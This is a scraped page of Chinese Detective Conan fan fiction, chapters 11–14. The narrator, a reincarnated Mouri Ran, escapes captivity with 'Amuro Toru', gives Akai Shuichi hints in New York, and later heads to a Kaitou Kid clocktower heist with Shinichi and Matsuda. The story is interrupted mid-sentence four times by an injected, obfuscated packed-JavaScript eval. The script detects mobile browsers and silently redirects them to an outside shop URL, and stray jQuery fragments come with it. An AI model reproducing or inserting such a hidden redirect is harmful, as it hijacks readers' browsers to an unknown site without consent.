;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327299|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我在坏人面前保护自己的方法,以及绝对不要轻易相信陌生人。”
听出了我的意有所指,对面人的小黑脸上流露出一丝委屈。虽然这不是我的目的,但是……降谷零这张脸真是好伟大!抑制住自己澎湃的心情、硬是逼着自己冷静应对真的很困难!
我咬了咬舌尖,话音猛地一转:“所以,在逃出去之前,我们先认识一下比较好。”
——那样的话,我们就不再是「陌生人」了。
接收到我的信息,男人脸上立刻露出单纯无害的笑容:“我是安室透,是来自日本的游客。”
没有用一次性假名、而是直接报上了「安室透」这个未来的常用名啊。
“那还真巧啊。”我同样单纯无害地微笑起来,“——我也姓安室,我叫安室凛。”
对面的人明显愣了一下,随即露出了然的笑容:“是那个「安室凛」吗?”
“是啊,公安警察安室凛——我跟她同名。”说着,我的笑容越发明媚,“出门在外,身份是自己给的。你说对吧,透君。”
既然他会对我出手,就绝不可能不知道我的真实姓名。但在此刻,作为陌生路人,他只会认下我的假名——就像我接受他的假名一样。
对面的人露出苦笑:“警惕心还真强啊,凛小姐。”
“透君才是应该提起点警惕心才更安全哦,你这么好看的大哥哥,孤身在外的危险度并不会比我低嘛。”
而且我也不算说谎,因为我真的就是他所知道的那个安室凛嘛。
如果他刚才翻我的包时、有看过那个写了《ZERO》新作大纲的笔记本,那等到那本书出版的时候,应该也会恍然大悟吧。
“我竟然比这么年轻的女孩子教育了……”
“你还要被这么年轻的女孩子拯救呢。”
说完我站起身,接着友好地向对面的人伸出手来:“我们走吧。”
他下意识伸出手、却在接触到我之前动作顿住:“去哪里?”
“当然是逃出去啊。”我一把拉住他的手,稍微用了一点力、他就非常自觉地自己站了起来,“透君你睡着的时候我做了好多事,你该不会以为、我会撬的锁只有手铐吧?”
两分钟后,从早先被我用伸缩背带和脚力增强鞋硬撬开的门、顺利离开被囚禁的房间,被我拉着手一路摸黑找到上楼的楼梯,再离开同样早先被我撬开的第二扇门、重新回到天空之下时,降谷零、或者说安室透的表情非常复杂。
“既然你刚才已经逃了出去,又为什么……”
“不然你怎么办?”我仰起头,眨着眼睛、无辜地看着他。
雨已经停了,头顶月色清亮,金发男人的眼瞳中倒映着我的脸,他的手还被我握在手里,微微的烫。
“我的手机被拿走了,刚才我有找了一下、但是没有找到。这附近也不像是有人的样子,等我找到人报警,应该要花不少时间。”
“如果在那之前、那个杀人魔就回到这里来,结果发现房间里只剩下你一个人,一定会非常生气。”
男人的眉头蹙起:“但是——”
我温柔地微笑起来。
“你那么弱不禁风,又是为了救我才被抓住,我当然要负起责任来保护你啦。”
11. 纽约魅影·六
半小时后,我与青梅竹马在医院碰头了。
看到我是独自一人,新一双手揣兜,露出「果然如此」的表情来:“你未来的丈夫大人呢?”
“跑了,我给他留了个独处的机会,果然一扭头人就没了。”我悻悻耸肩,反问他,“你这边呢?”
“跑了,刚做完手术FBI就来了,我帮她打了个掩护。”
“果然厂花都是同样无情的人。”我感慨地摇了摇头,抬手附在了自己额头上,感觉还有点烫,“让我顶着病弱的身体玩密室逃脱,还让我损失了一个手机,真是罪孽深重的男人。”
“还有另一个罪孽深重的男人。”新一微微扬了下下巴,示意我看对面的病房,房间门口站了两个穿FBI制服的男人,“在里边,他让我在他们检查完「受枪伤逃走的女人」的遗留证据之前不要走,应该是要亲自问我话。”
“感觉怎么样?”
“帅,气场拉满,长发飘飘,发质特别好。”
最后这句说得声音大了一点,病房门口的两名探员同时抬头向我们的方向看了过来,但应该是听不懂日语,很快移开视线。
结果下一秒赤井秀一就从病房里走了出来,棱角分明的脸上没有一丝表情,看起来又冷又凶,和先前的甜心波本形成了鲜明对比,对刚才我的青梅竹马夸自己的话也完全不为所动。
长发男人大步走到新一面前,脸略微侧向我,开口时是日语:“你的朋友?”
新一配合点头:“是的,就是她的手帕被风吹跑、挂在了那栋楼的栏杆上,我才会进去帮忙找的。”
这是用了原作的理由。
男人便向我看了过来:“刚才为止,你都在哪里?”
我同样非常配合:“在一个地下室,距离新一进入的废楼不远。”
意识到我也许同样与自己在追查的案件有关,男人忽然迈开长腿向自己同事走去,简短地交流几句后,才重新回到我们这边来。
·
现在,我们三个人进到了隔壁的空病房里。
我作为病人,坐在房间里唯一的探病用椅子上,新一站在我身后,赤井秀一则靠着墙、双手抱胸,可能是因为稍远的距离、也可能是因为相对放松的动作,压迫感倒是比刚才小了很多。
不过话音依旧是冷冰冰的:“刚才你说的地下室,是怎么回事?”
我深吸了一口气,开始半真半假地讲述起来:“一开始发生的事、我已经记不太清了。我原本在那栋楼外边等着他,但可能是因为感冒发烧的症状变得严重,突然就失去了意识,等到醒来的时候,已经被关在一间地下室里。”
“一个大哥哥也被关在那里,我们的手腕被铐在一起。他说他目击到我被一个银色长发的男人绑架,他想要救我、结果失败、自己反而也被抓住了。”
“但是我们能够逃出来,都要靠他……我想、他应该已经报警了才对。因为我还在发烧,他说让我先去医院,等他报完警会来找我,也不知道他现在在哪里。”
如果我没猜错,他应该已经跟贝尔摩德汇合了。
赤井秀一继续问道:“那个男人、是什么样的人?”
“他也是日本人,是个游客。他说过他的名字,叫安室透。”
然而对面的人看起来对这个名字并无反应,也许威士忌组一起行动时只互通代号,又或许之前降谷零用的是其他假名……
“工作、出身或者酒店地址都没有聊到,外貌的话,他是个金色头发深色皮肤的混血帅哥。”
这下对面的人终于露出一点讶异的神色。
“你们还说了什么?”
“也没什么特别的……只是作为救了我的谢礼,他要走了我的签名板。”
“签名板?”
我点点头:“嗯,是我最喜欢的明星莎朗·温亚德的签名,还附着她的唇印。虽然我很不舍得,但他毕竟救了我的命,而且还是超级大帅哥。”
问询差不多到这里就告一段落,我也终于找到机会,说出我之前为了与他偶遇所准备的台词:“不好意思,我刚才就想问了。你难道是赤井秀一、真纯的大哥吗?”
赤井秀一原本刚刚迈开腿准备离开,闻言停下动作,目光重新落在我身上,像是在回忆中寻找着我的存在。
“我是毛利兰,他是工藤新一。大约十年前,我们曾在日本的海滨浴场见过,那时候还发生了一起抢匪车祸坠崖案。”
当年我和我的青梅竹马还不怎么乱改剧本,几乎是照着原作、各司其职来推进剧情……角色互换的那种。
赤井秀一沉默地观察了我们半晌,才终于开口:“是你们啊。”
既然他想了起来、或者说愿意承认过去与我们的交集,那么接下来就是……
“那个、其实还有一件事,不知道与赤井大哥在调查的案件有没有关系。”
“你说。”
“我在半睡半醒间听到有人在打电话,不知道是绑架犯还是那个金发帅哥。”
我拧起眉头,做出冥思苦想的表情。
“打电话的人好像有个同事想要辞职,但他说组织、还是集团、大概是说他们的公司,坚决不放人,因为那个同事的妹妹是什么项目的主要劳动力,属于裁员决不能碰的大动脉。”
我想了一下,又补充道:“对了,他的同事应该不是日本人,因为同事的妹妹有个英文名字,好像是叫……雪莉?还是赛莉、之类的。”
我只能提醒到这里,更细一定会引起怀疑。接下来,能不能救下表妹,就要看赤井秀一他会怎么决定了。
·
给FBI的探员在地图上指明我被绑架去的地下室位置、并给他们留下联系方式之后,我和青梅竹马终于踏着曦光,踏上回酒店的路。
新一之前给有希子阿姨打过电话说明情况,等出租车的时候又打了一个电话过去,接通之后他就开了免提。寒暄过后,有希子阿姨问我们想不想吃点东西再休息,我揉着空荡荡的肚子表示那就麻烦了。
虽然不觉得我吃得下,但一会儿还要吃药,最好还是尽量吃点东西。
直到上了车,新一才终于问道:“你真把签名板给他了?”
我估摸着这问题他刚才纠结了一路——就算自己那份签名还在,小伙伴手里那份也必须惦记着。
作为他最贴心的青梅竹马,我笑嘻嘻地给出否定答案:“怎么可能,不说他对我根本没有救命之恩,就算有,我宁可以身相许,也不可能把莎朗的签名板给他。”
“……明明是你报恩,为什么他还要奖励你?”
“喂喂,明明是互惠互利,怎么就变成奖励我了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327300|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身旁的少年感慨地摇了摇头,跳过了这个话题:“话说回来,感觉你说谎越来越熟练了诶,面对那个赤井都能面不改色地编故事。”
我对此非常理直气壮:“反正他不可能跟零君核对情报,而且谎言也是爱嘛。”
“啧、当心被粉丝因爱生恨报复。”
“我一个写小说的,只有读者、哪有粉丝……啊、零君算是吗?那小新你一定要做我的主治医生,等零君把你推下山崖后,你就可以转生成我诞下的双胞胎之一了。”[1]
“醒醒,我们这个片场没有转生的设定。”
“那还真是遗憾。”我长出一口气,随即向新一的肩膀倒了下去,脑袋立刻找准最舒适的位置,“撑不住了,我要断电了。”
身旁传来少年低低的笑声:“先休息吧。”他轻声安抚道,“我先努力独自撑到赛末点。”
“好啊,等我充好电,我们就摆出澳大利亚阵型,同调之后实现网球场上让五追七的壮举……”[2]
·
原作里兰只睡了一晚、就完全病愈神清气爽,还忘记了前一晚的糟糕案件,然而淋雨后又通宵的我,在那夜之后烧了足有三天,还差一点引发肺炎。
中间赤井秀一给新一打了一次电话,本来似乎是想找我,但我当时烧得迷迷糊糊的,电话交由新一全权代理。后边一直到我退了烧,他也没再打来第二次,那大概就不是什么重要的事,或是他已经在此期间找到了不需要我来证实的线索或证据。
总之,在我痊愈后第二天傍晚,我和新一坐上了返程的飞机,从民风淳朴的纽约曼哈顿、飞向人才济济的东京米花町。
虽然耽误了一点开学的时间,但刚落地就被专程翘了课跑来接机的园子嘘寒问暖、实在是相当幸福的体验。
还有让我十分庆幸的一点,被降谷零不知道拿到哪里去的手机里边、插着我在美国机场买的新卡,日本的卡并没有丢失、不需要补办。新手机只要登录原先的系统账号也能同步信息,但安全起见,我买了两个手机,给今后日常用的那个注册了新账号。
我又在家休息了两天才去上学,踏进帝丹高中校门的那一刻起,我看似平静的高中生活也就此拉开序幕。从今天起我就成了货真价实的高中生侦探,而我的愿望只有一个——
“青山大神在上,保佑我不要走上金田一的路再送走任何同学……诶、我是不是应该拜天树老师?”
我的青梅竹马露出半月眼:“你不如拜拜久保老师?”
“你说得对……不对啊,哪里关久保老师的事,这个世界的死神明显是你我嘛!”[3]
莎朗那枚带着唇印的签名板被我裱在了画框里,但展示的地方并非我的床头,而是工藤家的书房——现在这个房间成为了我「安室凛」的工作室,而我的新作也即将开始动笔。
在纽约发生的事,我有全数向千早老师转述。但我不曾告诉过她、自己对那个以酒为代号的组织有所了解,她当然也不会主动分享给我相关的机密情报。
但是,用不了多久,最迟不过一年时间,等到原作剧情第一集、「云霄飞车杀人事件」开始的时候……
“期待与你再会的那天。”我将装满信件的木质收纳盒扣好盖子,塞进了衣柜深处的缝隙,上边叠放的是内衣收纳盒,“——我未来的丈夫大人。”
12.钟楼守护者·一
是进入高二不久、一个普普通通的工作日傍晚,刚刚放学的时间。
我的青梅竹马去空手道部打了个招呼、回到教室门口时,我刚刚接起电话,就打着手势叫他一起往外走。这个电话并没有持续多久,到换鞋柜之前,我已然把手机塞回书包。
身旁的少年单手搓起了下巴:“你用的是用原先账号的那个手机,那就是工作上的事?”
原先的账号指的是去年被降谷零拿走那个手机所登录的账号,在登录账号、同步过去信息的基础上,我又办了新的手机卡,并将这个手机当做了工作专用机。用于接编辑电话的同时,也接受全国各地来的案件委托。
而我日常用的,是系统登陆了新注册的账号、但号码还是原先手机号的另一个手机。
我应了一声,有些苦恼地垂下了嘴角:“是啊,又是广告邀请,本周第三个。”
在上周末警视厅的某起案件发布会上,作为案件负责人的目暮警官说到,这次报警的受害者,一度有过杀死加害者的计划。但他还在准备阶段、就被看透了一切的我阻止,并在我的劝说下,决定勇敢地站出来,用法律维护自己的合法权益。
目暮警官还顺带提了一嘴,说这一个月内,仅仅他所知的、我就已经识破了三个人的杀人计划,使他们中止计划、并改用其他方式维权。旁边位置上、同样出席这次发布会的我爸,嘴角翘得都快要吐舌头了。
有一说一,这个事对于找回《江户川少年事件簿》、并凭借关键词重温了对原作全部记忆的我来说,根本是用不上推理、只凭直觉就能处理的问题。毕竟原作里无论是早期的经典、还是冲上热搜的离谱原创,各有各的乐趣,但总有规律可循,当前的世界也是同理。
……所以很多时候,我并没有「活在现实世界中」的实感。
而在那次发布会之后,我就作为某种意义上的「米花安全大使」,变得更加出名了。
不过怎么说呢,比起「日本警察的救世主」,我确实更喜欢「安全大使」这种称号……最好的当然还是「平成年代的福尔摩斯」。
这边没有发生天皇退位,所以年号不会变成令和……算了,还是改成「当代的福尔摩斯」吧。
“对方邀请我拍个公益短片,主题是「不要滥用任何道具」,特别是钓鱼线和钢琴线。我觉得有点意思,晚上跟我妈商量一下。”
我妈不仅是我的监护人之一,还是我作为「知名作家安室凛」的代理律师,对「高中生侦探毛利兰」也是同理。
“还有就是铃木财团的邀请,是给他们的商场拍宣传海报的工作,我准备接下来。”我说,“虽然园子说让我不要在意她、认真研究合同,但我怎么可能不在意呢,那可是我的华生诶。”
“嘛,毕竟是那个铃木家。”
“就是说啊。”
聊到这里,新一忽然目光一凛,脚步停了下来:“那你叫我翘掉今天的社团活动,就不是为了去见广告商。”
我扬了下眉毛,示意他继续。
“也不是为了见编辑,虽然《ZERO》系列电影化的企划正在推进中,但你昨天吃饭中途接了编辑的电话,当场就把事情谈完了。”
我又肯定了他的话:“确实。”
可推理连续正确的人反而陷入沉思 :“那会是什么事?空手道比赛还没进展到关东大赛决赛,也就没到我们去热带乐园的时间……在那之前还有什么原作剧情吗?”
有确实是有,但这次的事件,即便不知道原作剧情,也应该并不妨碍他了解情况。
我沉痛地摇了摇头:“你倒是看看新闻啊。”
新一用双手干脆利落在身前打了叉:“不,自从去年暑假在夏威夷,在新闻里看到克丽丝被FBI拘留的消息之后,我就决定在她判刑之前再也不看新闻了。”
我的嘴角抽动一下。
他说的是在莎朗·温亚德「死亡」后发生的事。根据新闻报导,就在莎朗的遗体火化之前几分钟,突然有一队FBI冲进殡仪馆,叫停火化流程,并要求当场开棺验尸。
显然,那具遗体不可能属于莎朗本人。而确认这一点的FBI在没有明确谋杀证据的前提下,强行将当时在现场的克丽丝·温亚德逮捕扣押。
怎么想这都是我在纽约时给赤井秀一提的醒起到了作用,他意识到莎朗·温亚德与波本、或者说与组织有所关联。接着,他在调查中获知了某些事实,而突入殡仪馆,是他对莎朗的身份做的最终确认。
……希望贝尔摩德永远不要得知我是害她提前暴露身份的罪魁祸首。
但有一点我必须讲清楚:“小新你对你推也太没信心了吧——所以你不知道她在被保释后失踪的事?”
“啊?我不知道!”
身旁的人肉眼可见的高兴起来,目光骤然变得清澈见底。
我打开鞋柜,习以为常地将几乎滑落出来的情书们一股脑塞进书包,这才把鞋拎出来换上。
“这么跟你说吧,我在《事件簿》里,为这次事件写下的关键词,是三个心形符号,当然我本来就没有忘记剧情。”
迅速换了鞋跟上我的苹果头少年一愣,满脸都是不可置信:“怎么可能?你明明是零的单推人,对警校组赤井家宫野家都是爱屋及乌——等一下,好像确实有这么个人……”
“是啊,在零君出场之前,我最喜欢的角色。你想起来了?”
“并没有。不是、人是谁我想起来了,我堂弟嘛,但事件我是完全没印象。”
我做了个无辜的摊手动作,并没准备提前给他做剧透。等一会儿到了地方,他也许会想起来——其实想不起来更好,比较有新鲜感。
上辈子我就很希望自己能够拥有重置部分记忆的功能,这样就不至于看柯南动画时,总是仅仅听见最开头的剧情简介,就回想起来死者是谁、犯人是谁。
“总之,我们是要去江古田吧?”新一问道,“坐电车的话,晚餐在车站附近解决?”
我掏出日常用的手机向他晃了晃,唇角愉快地翘了起来:“晚餐正好有人负责,去江古田正好也有人接送。”
·
“太慢了,名侦探,还有她的护花使者。”
校外不远处的路边,在车旁站着的人、赫然是带着墨镜的卷毛刑警松田阵平。其实距离约定好的时间还有两分钟,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363407|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的嘴上说着抱怨的话,表情看起来却毫不焦躁。
“晚上好,松田警官。”我打着招呼向他走近,“我以为会是萩原警官过来。”
“本来是萩过来的。”
松田打开车门先行上车,我和新一则一左一右进到后座。
“但是出发之前,萩突然被千早叫走了。”他接着解释道,“自从萩调进搜查一科,就成了刑事部和公安部之间沟通的桥梁。最近有个案子公安也要插手,大多数时候气氛都很僵硬,但只要萩一出场,两边的人就同时松了一口气。”
这点我倒是能想象到,毕竟萩原的情商和交际能力都是满级。
所以我的关注点放在另一处:“诶——松田警官对千早老师直呼其名啊?”
驾驶位上的人抬起头看向后视镜,但我的视角只能看见他的墨镜、看不见眼睛:“有什么关系,那家伙的年纪比我们还小一点。”
我露出愉快的笑容来:“虽然年纪小一点,榊千早警视的职级、却比松田警部补的职级,要高上至少十五年的努力哦。”
身旁的新一半月眼望了过来。
松田则是咋了下舌:“没办法啊,谁让她是职业组——名侦探你今天心情很好啊。”
“诶?看得出来吗?”
“是啊,你每次心情很好的时候,就会说出让我很想揍你的话。”
原来如此,这就是所谓的笑容不会消失、只会转移吧。
新一遗憾地摇了摇头,而我立刻正颜厉色道:“松田警官想揍我这件事,我会如实向爸爸汇报的。”
松田阵平正好从这个月开始调进我爸负责的班,类比起来、大概就是佐藤警官和目暮警官的关系。
“这倒是不必了……喂喂、你倒是拿出点度量来啊名侦探。”
“现役刑警先生才是该拿出点度量来,萩原警官可不会对十六岁的高中女生说想揍她这种糟糕的话。”
告状当然是不会真去告状的,我笑嘻嘻地转向下一个话题:“直升机的事怎么样?”
“目暮警官那边都已经安排好了,我直接带着你过去就行。”松田回答道,接着他问,“但是只有你一个名额,你的小男朋友只能等在下边。”
他其实知道新一其实不是我的「小男朋友」,所以我也不用再特意去澄清:“完全没关系,新一最近对直升机有点应激障碍。”
实际上,从听到「直升机」这个词起,苹果头少年就全身紧绷起来,还满脸幽怨地盯着我。
然而他完全没有开口的意思,那只好由我来解释:“前不久春假的时候,我在夏威夷学开直升机,因为某些意外,被迫在空中表演了半小时特技。”
显然那个时候,我的青梅竹马正好就坐在直升机后边的座位上,终于落地下机的时候,他的脚步都是漂浮的。
“什么意外?”松田问。
“唔,教练突然毒发身亡,无线电出现故障,仪表板完全失灵,档杆有点错位,大概就是这些。”
话音落下时,整个车里鸦雀无声。
半晌,卷毛刑警才无比感慨地开口:“不愧是你啊。”
什么就我啊,这能怪我吗?
13.钟楼守护者·二
临时落脚地是江古田市的某间家庭餐厅。
差不多到了下班时间,到处都是西装革履的打工人,由此,一身正装带着两个高中生来餐厅的松田阵平不会显得与环境格格不入。我和新一也表现得像是跟自家兄长在一起似的,点起单来毫不客气。
对此,已经摘下墨镜的现役刑警露出了相当无语的表情:“你不是通过为案件提供线索、挣到不少奖金吗,虽然是我请客,你也不用表现得那么兴奋吧。”
我立刻用类似的句式回复了他:“虽然我确实有点小钱,但还是可以喜欢被大人请客吃饭吧。”
“你跟萩在一起的时候也是这样?”
“不会啊,萩原警官会很绅士地主动说想吃什么不要客气随便点,我也会主动克制自己……松田警官你又想揍我了吗?不会吧不会吧?不会真有人——”
“快点吃饭!”
身旁的新一露出无限感慨的表情来,我也见好就收,乖巧地埋头干饭。顺便考虑一下等会儿面对目标时的台词——
既然来了江古田市,这次的事件自然是围绕本地出身的怪盗基德展开的。那位大胆的小偷在前不久发来预告函,称要偷走车站前广场钟楼的指针上镶嵌的宝石。
然而实际上,他只是因为钟楼预定拆迁、即将挪走,想要保护他与青梅竹马最初相遇时的地点而已。况且宝石早已被钟楼主人换成仿品,这个事实也等着他揭露。
虽然行事像是怪盗圣少女,但作为侦探,我可不能眼睁睁地看着这位大胆的小偷戏弄警察而放着不管。
更重要的是……就算只是前推,他也真的很帅气很浪漫啊!谁不想要近距离亲眼看看怪盗基德呢!
·
由于我的青梅竹马对直升机表达了比我预期中还要强烈的抗议,我不得不提前与他分开,顺带着兴高采烈地提前将任务派发给他。
「你可以去围观的人群中,寻找世界上的另一个我。」
如果不是我还没见过中森青子、不知道她的声音是什么样,我也许还能再加上一句「同时也是过去和未来的你」——指的是工藤新一幼年和「江户川柯南」的声优、与中森青子在原作这一集的声优是同一人。
不过我的青梅竹马能轻易理解的点,对于我身旁的卷毛刑警先生就着实有些难度了:“「另一个你」、那是什么意思?”
“是一个跟我长相非常相似的女孩子,新一还没见过她,但我想他一眼就能分辨出来。”我跟在他身后上车,因为只有两个人,这一次我坐了副驾,“我们现在去哪?”
天色在晚餐中途黑尽,距离怪盗基德预告的零点还有不短的时间。
“直升机停靠点,开车过去要十五分钟,我们过去等着。”
我应了一声,开始低头翻包,把我专为今晚而提前准备的设备、从包里的收纳盒中接连掏出来。
松田阵平向我手里瞟了一眼:“你拿的那是什么?相机吗?”
“嗯,运动相机。”我套上挂脖的绳圈,将相机固定在胸前位置的磁吸扣上,又稍微调整了一下角度和位置,“难得有这样的机会,我想尽可能记录下来。”
“为了探查出怪盗基德的真实身份?”
怪盗基德于八年前销声匿迹之后、再次现身作案是最近的事,虽然听说搜查二课的中森警官已经成为他的案件专属负责人,但实际上能够记录在案的资料仍旧只有八年以前的只言片语,其身份的神秘程度仍旧是最高等级。
我把书包拉上拉链、从座位之间扔到后座,唇角愉快地翘了起来:“嘛、那也是原因之一。”
身旁的卷毛刑警又看了我一眼:“还为了什么?”
我小声抽了口气:“——那当然是为了记录下他的帅气啊!我带的设备完美适配夜景,加上今晚的月色这么好,一定能把他拍得很好看!”
而且我一会儿是坐在直升机上,拍摄时是平视甚至俯视的视角,肯定比站在广场上的观众们仰视的视角更美妙!
松田阵平嘴角一抖,声音满是无语:“……你还真是毫不掩饰啊。”
“这种正大光明的事有什么隐藏的必要吗?”
他耸耸肩,没有应对我的反问,只是感慨起来:“不过我确实没想到,名侦探你喜欢的会是那种类型。”
“倒也不是那种喜欢……”我绞起一缕头发,纠结了一下措辞,“我对怪盗基德的喜欢,跟对你的喜欢是一样的。”
可能没想到我会是这样的回答,身旁的人明显吓了一跳,半晌才满脸复杂地开口:“你竟然喜欢我吗?”
“有什么可惊讶的?松田警官你是机敏勇敢帅气、遇到需要舍生取义的情况绝不会为自己的处境犹豫的优秀警察官,喜欢上你就像呼吸一样自然。”
末了我又补充上一句:“萩原警官也是同理。”
结果补上这一句也没能缩短松田思考的时间,眼看着他的表情越发纠结,脸几乎要皱成一团,我忍不住抽了抽嘴角:“怎么了?我有说什么很奇怪的话吗?”
被可爱的高中女生夸奖的时候,不应该表现得更高兴一点吗?
“不,只是实在没想到你对我的评价这么高……”
不知道是为了缓解害羞还是尴尬,他突然生硬地转移了话题:“你很喜欢《ZERO》系列的小说吗,主角名字是安室凛的那个系列。”
我也善解人意地不再为难他,配合地回答:“是啊,松田警官也读过吗?”
“没有,只是大概知道设定的程度。”他说,“不过最近有听萩提起过,那个系列正准备改编成电影,而你会在电影里出演你自己。”
我耸耸肩:“因为导演的女儿很喜欢我、或者该说是憧憬吗,总之导演就干脆提出、把一个会在电影开头短暂出场的JK侦探的角色给我,原作者也同意了。”
那个高中生侦探本来就是小学时代的我,以「想象中未来的我」为原型、所创造出的角色。自己出演自己创作的小说里、以自己为原型的角色,怎么想都非常合适嘛。
松田又感慨地摇头:“你还真是受欢迎啊。”
我则是毫不谦虚地点头:“是啊,我的书包里还塞着今天份的情书,大概有二十份,差不多是每天的平均数。”
“诶——那些情书你都会读吗?”
“还会回信哦,虽然很短就是了。”
“全数拒绝?”
“不然呢?学校里根本没有男生能比得上新一嘛。”我自认为这是实话实说,我想学校里的绝大部分女生也会认可我的说法。
“也有托我转交情书给新一的女孩子,为了避免被认为是我扣下了她们的信、新一才不给出回复,我每天早上都要在鞋柜前公开把信交给他。班上几个男生甚至会打赌、新一下次又会从我手里拿到几封信……这个年纪的男生实在很无聊。”
“顺便一提,新一会在电影里演绎我的青梅竹马兼保镖,听说会给他加一场展现空手道技术的戏。”
松田对此倒是并不惊讶:“作者也同意了?”
“是啊。”我扭过头,搓着下巴看向松田阵平棱角分明的清秀侧脸,话音自然一转,“看起来萩原警官确实一直有保守秘密。”
车进入地下车库,顺畅地找到空位停下。司机却并不着急下车,而是重新带上墨镜,望向我的方向。虽然他的脸上并没有表现出好奇,但我就是感觉到了满满的求知欲——
“什么秘密?”
我努努嘴:“各方面,比如说他知道《ZERO》的作者、安室凛究
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426716|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竟是谁的事。”
当然,还有我和我的青梅竹马都是「疑似重生者」的事——除去当年在医院被偶然听见的那段对话,我从未向萩原研二解释过我和新一具体是什么情况、为什么会知晓「些许未来」,他也善解人意地从没有追根问底。
“怎么会?那个作者不是从没有公开过身份吗?我看有报导说,就连这次拍电影、相关者开会,她也只是远程参加,很多事还委托了律师代理。”
“是啊,她的律师就是我妈。”
“……所以你也知道安室凛是谁?” 在得到我的肯定点头后,他才接着说,“我在警校时有个同期、是那个安室凛的笔友,你应该听萩提过吧。”
“确实,「安室凛」本人也知道这件事。”
只是没想到在另一位当事人降谷零已然销声匿迹七年的现在,他的同期好友们竟然还记得他的笔友……难道说,我对他来说、其实是很重要的人?
我微笑起来:“其实那两个人已经见过一次面了,”是在纽约那个雨夜,“只不过,等松田警官同期的那位先生发觉,应该还需要一些时间吧。”
“有时候我真怀疑你究竟是不是真的高中生,”松田打开车门,下车前又扭头问向我,“所以说,那次事故之后,你学会开直升飞机了吗?”
我咋了下舌,理所当然地给出肯定的回答:“那当然,模拟考试也顺利通过了。不过年纪还没到,还不能考驾驶执照。”
·
工藤新一在广场的人潮中停下了脚步。
找到「世界上的另一个毛利兰」并不算难,因为在大片的怪盗基德粉丝中,唯一举着反对条幅的少女,就像是错买了对家看台位置的球迷。好在因为胜利者早已注定,支持者们并不会与唯一的反对者发生冲突,反而会产生些许同情。
女孩的脸比他的青梅竹马稍圆润一点,显得比实际年龄还要小一两岁。因为发型并不相似,即便在夜晚,也没有那么容易「认错」。
所以他决定转变思路,迅速揉乱了自己的头发,并上前几步,走到了女孩的余光能够扫见的位置。
果不其然,才一站定,他就注意到女孩快步走到自己身旁,开口就是一声“快斗”,但在注视他几秒之后、却露出了惊讶中带着羞赧的表情。
“抱歉,我认错人了……你和青子的青梅竹马长得好像。”
「青子」是女孩的名字,也是她的自称,是少女才会使用的、相当可爱的表达。有时候他的青梅竹马也会自称「兰」,多半是用在开玩笑、刻意卖萌的时候,虽然也很可爱,却并不如面前的女孩表现得自然。
“这么说来,你和我的青梅竹马也长得很像。”他这样说着,还证明似的、取出手机、迅速翻到了与毛利兰的合照,“你看。”
于是女孩的眼睛突然亮了起来,惊喜地看着他的手机屏幕、一时间忘记了怪盗基德带来的不愉快:“真的好像!”
工藤新一露出温和的笑容,他对于中森青子没有丝毫恶意,但也知道自家青梅竹马在期待什么。
虽然对于盗窃任务结束后、前来与青梅竹马重温初遇时光、辛苦操劳的一整晚的怪盗少年有些过意不去,但他也十分期待,他素未谋面的堂弟,在发现与自己容貌如此相似的少年、与自己的青梅竹马相谈甚欢之时,会露出怎样懊恼的表情。
那么这个时候,果然应该——
“看起来、你并不喜欢怪盗基德?”
将凌乱的头发重新整理回苹果头的少年望向女孩手里的横幅,笑容越发真诚友善。
“那我们真的很有缘,我的青梅竹马正在为抓捕怪盗基德而协助警方。我本以为这里只会有我一个人希望怪盗基德败北……能够遇见同一阵线的你,真是太好了。”
14.钟楼守护者·三
十一点刚过,登上直升机的我经由中森警官的下属的配合,成功拿到了钟楼的结构图和人员安排图。
松田阵平坐在我旁边,早已摘掉了墨镜。我用直升机上的对讲机、向那位下属发号施令的时候,他就帮我扶着膝盖上的电脑,也没说什么话,表情显而易见是对同样高智商人群的欣赏。
等到我安排完注意事项、暂时与那边切断通讯的时候,他才终于开口:“名侦探,你以后不准备做警察吗?”
